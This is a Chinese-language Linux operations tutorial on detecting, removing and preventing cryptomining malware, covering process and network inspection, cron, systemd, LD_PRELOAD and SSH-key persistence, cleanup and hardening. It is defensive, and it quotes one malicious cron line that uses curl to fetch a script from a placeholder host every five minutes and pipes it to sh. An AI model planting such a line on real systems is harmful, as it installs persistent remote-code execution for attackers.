做Linux运维这些年,几乎每一台暴露在公网上的服务器,迟早都会收到一次“挖矿病毒”的访问。症状通常很一致:CPU突然飙到百分之两三百,top里出现一个名字看起来像系统进程又不完全像的进程,网卡外联的IP一个比一个陌生,删掉文件几分钟后它又原地复活。这篇文章就是围绕 linux 解决挖矿病毒的方法 来写的,会从病毒特征、进程定位、持久化排查、清理修复、加固防复发几个层面,把我实际踩坑和验证过的方法完整梳理一遍。不管你是刚接手第一台服务器的初学者,还是被烦了半年的老运维,这套流程都能直接用。
1. 先搞明白挖矿病毒为什么盯上Linux,以及被感染后会有哪些信号
1.1 Linux服务器为什么成了挖矿脚本的重灾区
很多人有个错觉,觉得病毒是Windows的事,Linux很安全。放在十年前还能这么说,现在完全不是这么回事。挖矿病毒的核心诉求只有一条:找到一台CPU够强、带宽够大、能长时间在线且无人盯防的机器,然后最大程度榨干它的算力去换虚拟货币。Linux服务器恰好完美契合这些条件,尤其是那些配置了高主频CPU、常年开机、暴露了22端口、却没有做任何访问控制的机器。
攻击者的入场方式往往没什么高科技含量。最常见的就是SSH弱口令爆破,用现成的密码字典,对公网IP段一顿扫,碰上root密码是"123456"、或者业务账号口令太简单的机器,直接登进去种马。其次是各类中间件漏洞利用,比如某开源缓存服务未授权访问、某旧版本Web组件远程执行漏洞。还有一些是通过供应链污染进来的,用了来路不明的安装包或者第三方镜像,装完就自带后门。
这就导致一个很现实的问题:一台服务器被种上挖矿病毒,往往不是因为对方技术多厉害,而是因为我们的暴露面太大、基础防护没做到位。理解了这一点,后面的排查和加固才会有的放矢,而不是头痛医头、脚痛医脚。
1.2 被感染后的典型症状,以及为什么不能拖
挖矿病毒躲在服务器上,有些高调有些低调,但大体逃不过这几类信号。
最直观的是CPU和负载异常。原本空闲的服务器,突然长时间跑满,top里出现一个占用大量CPU的进程,进程名可能是随机字符串,也可能故意伪装成"kworkerds"、"php-fpm"之类。有时候还会伴随系统负载持续走高,业务接口响应变慢,甚至直接卡死。
第二类是网络行为异常。挖矿进程要连接矿池服务器,所以会有大量的外联连接,目标端口常见的有3333、4444、5555、6666等非标准端口。如果你看到某个进程一直在和陌生IP建立TCP连接,而且流量只进不出或者持续脉冲式上传,基本可以高度怀疑是挖矿行为。
第三类是文件系统里出现陌生文件。常见藏身目录包括/tmp、/var/tmp、/dev/shm、/boot,以及用户目录下的隐藏目录。挖矿程序为了对抗清理,经常会把文件权限设置成不可修改,或者把文件放在一个名为空格、两个点的目录下面,利用的是运维人员肉眼扫目录时容易忽略的心理。
还有一类容易被忽略的连带风险:挖矿病毒往往不是单独进来的,它可能会顺手修改SSH配置、植入后门账号、替换系统命令,把你的服务器变成“肉鸡”。所以发现挖矿病毒后不能抱着“删掉进程就完事”的心态,要按后门入侵的标准去处理,否则今天清了挖矿,明天还会被利用去做更严重的事情。
2. 三步定位异常:从CPU、进程树和网络连接反向追踪
2.1 用 top 和 ps 快速锁定CPU异常的“真凶”
收到告警后,我一般先做一件事:登录服务器执行top -c,看一眼CPU占用排序。在大多数情况下,排在最前面的就是可疑进程。注意,这里我从来不只看进程名,而是会重点观察COMMAND列里完整的启动参数。挖矿程序特别喜欢用“名字像系统进程”的方式伪装,但启动参数很难完全掩盖异常。
举个例子,正常的内核进程kworker不会占用大量CPU,也不会出现在用户态的进程列表里。如果看到一个名字带“kworker”或“ksoftirqd”的进程,却能在ps aux里查到,或者启动参数里有很长的URL、下载脚本甚至矿池地址字符串,那基本就是冒充的。
top -c看完了,我会再执行一条命令把进程按CPU使用率倒序排列,方便记录可疑PID、父进程PID、CPU占比和启动时间:
ps aux --sort=-%cpu | head -30这条命令的作用是把最占CPU的30个进程列出来。结合top的输出,我们能拿到可疑进程的PID。拿到PID之后,先不要急着kill,因为很多挖矿病毒有守护进程互相拉起机制,直接杀掉一个进程,其他进程马上会把它重新拉起来,甚至引发更隐蔽的变异。接下来的动作是顺着PID往下挖。
2.2 从 /proc 目录挖出可执行文件路径和真实身份
拿到PID之后,我会去读Linux的虚拟文件系统/proc/。这是排查进程时最可靠的信息来源之一,任何进程在运行时都会在/proc/PID/下留下痕迹。
优先查看这几个文件:
ls -l /proc/PID/exe cat /proc/PID/cmdline | tr '\0' ' ' readlink /proc/PID/cwd cat /proc/PID/environ | tr '\0' '\n' | head -20/proc/PID/exe是指向进程可执行文件真实路径的软链接,执行ls -l后能直接看到它在磁盘上的位置。这一点非常关键,因为挖矿程序为了避免被轻易发现,经常会把自己放在一个偏僻目录,或者启动后就立刻删除原始文件,但/proc/PID/exe仍然会保留路径信息。如果提示文件已删除,说明程序做了自删除,这类情况更危险,处理时要格外小心。
cmdline文件记录了启动参数,有时候配置信息、矿池连接地址、甚至钱包地址就藏在里面。readlink /proc/PID/cwd可以看到进程的工作目录,病毒脚本的配套文件通常就在这个目录附近。
把这些信息整合起来,基本能还原出一个完整的攻击链:从哪个目录启动、加载了什么配置、连接了什么地方。
2.3 看网络连接,找出矿池IP和隐藏的C2通道
光看CPU还不够,因为有些挖矿木马很低调,会在特定时间切换挖矿行为,CPU占用未必一直很高。但有一个行为它绕不过去:必须和外网建立TCP连接去接收任务、上报算力。所以排查网络连接是必须做的一步。
ss -antp | head -50ss -antp能列出当前所有TCP连接的本地地址、远端地址和对应的进程PID。观察连接列表时,重点关注ESTAB状态的外联连接。正常业务服务器会有一些固定连向数据库、缓存、API服务的连接,但如果你发现一个随机进程持续连接不明IP,端口还是3333/14444这类云厂商通常不会开放的端口,那基本就是挖矿木马。
觉得连接太多不好筛,还可以用PID反查:
lsof -p PID -nP | grep -E 'TCP|UDP'然后对拿到的IP做一下归属判断。正常情况下,业务IP应该能对应上你购买云服务时选择的区域。如果看到一个服务器所在地区完全对不上的IP,并且没有业务方确认过,就要高度警惕。这里提醒一下,遇到可疑IP时不要直接在服务器上访问,也不要在浏览器里打开,保不齐对方挂了恶意页面,你用办公电脑访问反而扩大了暴露面。
3. 深挖四种常见持久化手段,把后门根系挖干净
3.1 查计划任务和开机启动项
挖矿木马不是跑完就结束的,它要在服务器重启、进程被杀之后继续活着,所以一定会设置持久化。最常用的持久化手段就是计划任务。Linux下计划任务存放的位置很多,每个地方都值得过一遍:
crontab -l # 当前用户的定时任务 ls -la /etc/cron.d/ cat /etc/crontab ls -la /var/spool/cron/恶意计划任务常见的写法是每隔几分钟执行一次下载脚本或者启动矿工程序。比如一行*/5 * * * * curl -fsSL http://恶意地址 | sh,意思就是每五分钟从远程地址下载并执行脚本。这种任务在crontab -l里可能看不到,因为它是被写入/var/spool/cron/其它用户文件里的,所以要连带检查。
除了cron,还要看开机自启的系统服务:
systemctl list-unit-files --type=service --state=enabled systemctl list-units --type=service --state=running重点找那些名字诡异、描述为空、路径指向/tmp或/var/tmp的service文件。病毒经常会在/etc/systemd/system/下生成一个恶意服务单元,负责守护挖矿进程,被kill后立即重新拉起,这就是很多人反复清理却始终不干净的核心原因。
3.2 检查动态链接库劫持,这是隐藏最深的一类
比计划任务更隐蔽的是LD_PRELOAD劫持。简单解释一下原理:Linux在程序启动时会先加载环境变量LD_PRELOAD指定的动态链接库,恶意库文件会先于系统库被加载,从而劫持libc中的readdir、fork等系统调用,让ps、ls、top这些命令读不到挖矿进程的信息。
检查动态库劫持需要看两个地方:
cat /etc/ld.so.preload env | grep -E 'LD_PRELOAD|LD_LIBRARY_PATH'如果/etc/ld.so.preload非空,或者里面指向的so文件不存在、模块特殊、属主异常,那就是被劫持了。处理时要把这个文件清空,并删除恶意so文件,同时把环境变量里的相关项去掉。注意不要只改文件不清理进程,需要在确认所有恶意库来源清楚后重启相关服务,甚至直接重启系统。
3.3 排查账号后门:SSH公钥和隐藏用户
挖矿木马为了反复进入系统,还会在账号层面做手脚。排查时我固定做三件事。
第一,检查SSH授权公钥:
cat ~/.ssh/authorized_keys这是最容易藏后门的地方,攻击者把自己的公钥写进root或业务用户的authorized_keys,之后就可以用私钥随时免密登录。不仅要看root的,还要排查所有具有登录shell的用户目录。一旦发现陌生公钥,在备份现场信息后立即删除。
第二,检查是否存在可疑账号:
awk -F: '$3==0{print $1":"$3":"$7}' /etc/passwd lastlogUID等于0的用户,在Linux中和root拥有相同的权限。正常情况下系统里只有root一个UID为0的用户,如果冒出来一个名字诡异的账号,基本就是后门。同时用lastlog和last检查最近登录记录,看有没有异常来源IP和登录时间。
第三,检查登录日志:
grep -E 'Failed|Accepted' /var/log/secure | tail -50日志能看到大量爆破失败的IP,也可能看到攻击者已经成功登录的记录。这些信息对后续做安全策略很有用,比如直接把爆破来源IP封禁。
4. 系统清理实操:从隔离到恢复配置的完整流程
4.1 先隔离,再诊断,最后才动手清理
很多新手一看到CPU飙高,立刻就在生产服务器上又杀进程又删文件,结果把系统搞得更乱。我在处理这类事故时的顺序不一样:先做隔离,再做证据固定,最后清理。
隔离的意思是让被感染的服务器停止向外提供恶意流量。最简单的方式是在云安全组或者本地防火墙层面限制出方向连接,只允许必要的业务IP和目标端口通信。如果不能快速精准配置出站策略,就先把该服务器的公网访问断掉,保留内网运维通道即可。隔离不是让你停业务,而是切断挖矿程序与矿池的通信,避免病毒控制端继续下发指令、也避免服务器被当跳板去横向攻击内网其他机器。
隔离完成后,建议先用ps aux、ss -antp、crontab -l等命令把当前状态记录到文件里,这一步叫取证。不需要很复杂的工具,把文本保存下来就够了,后面如果判断需要回溯,这些记录会很有用。
4.2 按“先清持久化、后杀进程”的顺序清理
直接杀进程往往会让病毒重启,正确做法是把它的持久化通道先掐断,再回头处理进程。大致步骤是这样的:
第一步,清理计划任务。把前面排查过程中发现的恶意cron条目删除,尤其要检查/var/spool/cron/下所有用户文件和/etc/cron.d/下的可疑文件。
第二步,清理systemd自启服务:
systemctl stop 服务名 systemctl disable 服务名 rm -f /etc/systemd/system/服务名.service systemctl daemon-reload第三步,处理被劫持的动态库。把/etc/ld.so.preload清空,删除恶意so,清理~/.bashrc、/etc/profile以及/etc/profile.d/下的可疑导出项。
第四步,现在才轮到杀进程和删文件:
kill -9 PID rm -rf /恶意目录/恶意文件如果发现文件被加了不可删除属性,先取消再删:
lsattr /路径/文件 chattr -i /路径/文件 rm -f /路径/文件我给过一个“全流程命令串”的思路,但不建议直接复制成一条链接就执行,因为每台服务器的病毒变体不同、路径不同,你需要先掌握自己服务器上具体有哪些问题。
4.3 修复被篡改的系统配置,密码口令要全量更新
清理完之后,真正的收尾工作是恢复系统配置。这一步不做,相当于大门还敞开着,病毒随时可以再进来。
优先检查这几个文件:
/etc/resolv.conf:查看DNS配置是否被改成恶意地址,可能导致域名解析被污染,病毒可以通过特定域名绕过防火墙访问矿池。/etc/hosts:查看是否被添加了劫持条目,有些木马会把本地安全软件域名映射到恶意IP,让安全软件无法升级。/etc/ssh/sshd_config:确认是否被加入了可疑的AuthorizedKeysFile、PermitRootLogin、PasswordAuthentication等配置。/etc/ld.so.preload:再次确认为空。
密码方面,所有登录账号、尤其root密码必须强制修改,而且要改成足够复杂的新密码,不能用原来的密码加个数字就敷衍过去。SSH密钥如果确认被污染,也要重新生成并替换。对于业务系统里嵌入的数据库口令、API密钥,建议一并做一次轮换。这一步会牵扯到业务方,但比起服务器被反复利用,提前沟通成本还是值得的。
5. 自动化查杀工具与生产环境的取舍建议
5.1 开源查杀工具怎么选,能扫到什么
手工排查适合绝大多数场景,但如果你手上的服务器数量比较多,或者业务代码环境比较敏感,可以借助开源查杀工具做一次全面扫描。当前市面上常见的方案有几类:通用病毒扫描器、rootkit专项检测工具、日志审计工具。
我个人的建议是先用通用扫描器做全盘扫描,再用rootkit检测工具做专项检查。原因是两类工具检测思路不同,通用病毒扫描器靠特征库匹配,对已知恶意样本有效;rootkit检测工具则侧重行为分析,能发现隐藏进程和文件。
需要注意,这些工具在大规模扫描时会有不小的IO开销,建议在业务低峰期执行,或者在测试环境先验证一遍规则。对于云上托管的核心生产环境,我更推荐使用云平台自带的安全中心或主机安全Agent。这类产品不仅能查杀,还能记录进程行为、登录行为、文件变更,长期来看比我们手工crontab脚本可靠得多。
5.2 中小规模服务器群的快速处置思路
如果你管理的服务器超过十台,一台一台登录上去排查会非常低效。这里分享一个实用思路:先写得一个巡检脚本,把前面提到的进程、网络连接、计划任务、可疑文件检查逻辑封装起来,批量在服务器上执行,统一收集结果。
脚本里可以做几个关键动作:检测CPU占用前几名的进程、检测是否存在异常外联IP、检测最近两天的登录成功记录、检测/etc/ld.so.preload是否非空、检查计划任务中是否有可疑下载执行命令。只要其中任何一项命中,就标记为“待处理主机”。
这个脚本不需要很复杂,一两百行就能覆盖大部分场景。但要注意,被rootkit深度劫持的机器上,脚本输出可能被伪造,这时候就要借助一台干净的跳板机,用静态编译的排查工具包去检查,或者直接走云平台快照方式把磁盘挂载到新机器上分析。你不需要把每台机器都做到这一步,但至少核心业务机要具备这种深度处置能力。
5.3 什么情况下宁可重装系统
有一种情况我会直接建议重装系统:核心业务机器被种了rootkit,或者系统命令已经被替换,而你又无法确认攻击者在内网横向移动的范围。这种情况下,清理所花费的隐形成本远比重装高,而且很难保证系统处于“干净状态”。
重装也不是随便重装。正确的做法是先做数据备份,备份文件要经过查毒确认后拷贝到隔离环境。然后对原系统做一次快照,保留现场供后续溯源。接着才是重装操作系统、加固配置、恢复数据、变更所有口令。如果你没把握把持久化后门全部清干净,重装反而是更稳妥的选择。
6. 防复发加固:清理完之后必须堵住的几个洞
6.1 SSH防护:密钥登录是底线
挖矿病毒入侵的第一大入口就是SSH弱口令爆破,所以SSH防护是防复发的重中之重。
首选方案是全面启用密钥登录,关闭密码登录。操作前一定要先确认密钥已经能正常登录,再执行关闭密码登录的操作,否则容易把自己锁在门外。可以参考下面几个关键配置:
PermitRootLogin prohibit-password PasswordAuthentication no PubkeyAuthentication yes在此基础上,用fail2ban这类工具对重复失败的IP做临时封禁是一个不错的补充,但它不是主防线,只是延迟攻击者的速度。真正让爆破失效的是“服务器根本不接受密码登录”。
6.2 文件系统与内核层的低成本加固
对Linux有一定了解的用户,可以做几个低成本高收益的加固动作。
第一,给关键文件加上不可变更属性,防止恶意程序篡改。比如:
chattr +i /etc/ssh/sshd_config chattr +i /etc/resolv.conf注意这是一个双刃剑,后续你自己改配置前要先执行chattr -i解除,否则会报错。
第二,把容易藏挖矿文件的目录设置成不可执行权限。比如/tmp、/var/tmp和/dev/shm这三个目录,业务上基本不会需要从里面直接执行二进制文件,可以用挂载选项禁用可执行属性,同时限制写入文件大小:
mount -o remount,nosuid,nodev,noexec /tmp mount -o remount,nosuid,nodev,noexec /var/tmp mount -o remount,nosuid,nodev,noexec /dev/shm不过这里要小心,如果某些业务脚本确实会在/tmp下运行临时程序,禁掉exec会引发问题,需要先评估再执行。
6.3 日常巡检和告警,让问题在扩大前被发现
最后是长效监控。我在生产环境里的做法是用定时任务跑轻量巡检,结合第三方监控/告警工具,每天检查一次关键指标。
可以用一个简单脚本配合crontab,每天凌晨3点检查三个核心指标:CPU占用最高的进程是否异常、是否存在非业务外联端口、近24小时是否有新的SSH成功登录记录。结果写入日志并推送到告警群,不需要很重,关键是“每天看一次”。
比巡检更重要的是登录审计。建议开启系统安全日志的持久化,有条件的话把日志发送到独立的日志服务器,防止攻击者进入系统后清理日志。很多挖矿木马会先清掉auth日志再种马,就为了让事后排查无从下手,有个异地日志备份就能绕开这个问题。
7. 常见问题与排查技巧实录
7.1 为什么进程杀了、文件删了,过几分钟又回来
这是一个高频问题,原因大多出在三个地方。
第一,守护进程没清干净。挖矿病毒经常是多进程协作,一个负责挖矿,一个负责监听和拉起。你杀掉了矿工进程,守护进程还在,它发现矿工不在了就重新拉起来。所以排查时要顺着进程树往上找父进程,把整棵进程树全部清掉才算完。
第二,持久化任务没清干净。尤其要检查的是crontab里是否还有从远程地址下载脚本的任务。只要那个任务还在,它会定期重新下载并运行,你删掉的本体马上恢复。
第三,被劫持的系统命令在欺骗你。某些变体会替换ps、top等命令,让这些命令输出过滤后的结果,导致你看到的是“干净”状态,实际病毒还在运行。遇到这种情况,用一个干净的系统里拷贝出来的静态编译命令,或者直接看/proc目录下的进程信息,绕开被劫持的API。
7.2 磁盘里找不到可疑文件,但CPU持续高占用
这种情况通常意味两件事:要么挖矿程序把二进制文件藏在了你还没有去过的目录,要么它以内存驻留方式运行。
排查思路是先看/proc/PID/exe指向哪里。如果指向的文件已删除,说明原始程序已经被删掉但进程仍在运行。这时你可以直接强制结束进程,然后在/proc/PID/目录下还能翻到它的环境变量,里面可能藏着路径线索。
还有一种情况更隐蔽,可疑进程名会定期变化。比如同一个矿工程序每隔几十秒通过fork生成新进程叫新名字,这样用“按进程名查找”的方式就会失效。正确做法是过滤出常驻外联IP或者常驻的高CPU进程组,再从进程组里反查行为。
7.3 清理后服务器居然还是被反复入侵,问题出在哪
如果一轮清理之后,没过几天又被种上挖矿病毒,不要把精力都放在“杀毒”上,而要回到“入口”去排查。
回看攻击入口有几个高频位置:一是Redis、数据库等服务的未授权访问。比如Redis默认端口暴露在公网并且没设密码,攻击者连上后通过相关技术把公钥写到authorized_keys里,直接获得登录权限。二是监控面板、代码仓库、项目管理后台这类Web系统使用了默认口令或存在已知漏洞,被探测后作为跳板。三是内网横向渗透,你清理了一台机器,但同网段还有其他更早被攻陷的机器,会不断尝试向这台机器扩散。
处理这种情况需要跳出单机思维。先在边界防火墙和安全组层面收敛不必要的暴露端口,再对所有内网系统做一次弱口令和已知漏洞排查,同时把重要系统的登录行为日志集中采集起来。单机消毒永远只是临时止血,把入口规模和暴露面降下来才是阻止复发的根本。
我在实际排查挖矿病毒时,最大的感受是:越早发现、越冷静处理,代价越小。不要因为有些病毒短时间内影响不大就拖延处理,很多时候挖矿木马只是攻击者放进去的一小块“饵”,随着时间推移它会下载更多恶意组件,把服务器变成一个更危险的存在。真到了那一步,就不是清一个进程那么简单了。
最后分享一个我坚持了很久的习惯:排查任何中毒服务器,第一步永远是打快照或者做完整备份。理由很简单,清理过程中一旦操作失误,至少还有退路。你在几分钟内做的一次备份,可能就省去了恢复整台机器的一整天痛苦。这个动作看着不起眼,但每次真正出大事的时候,都是它兜的底。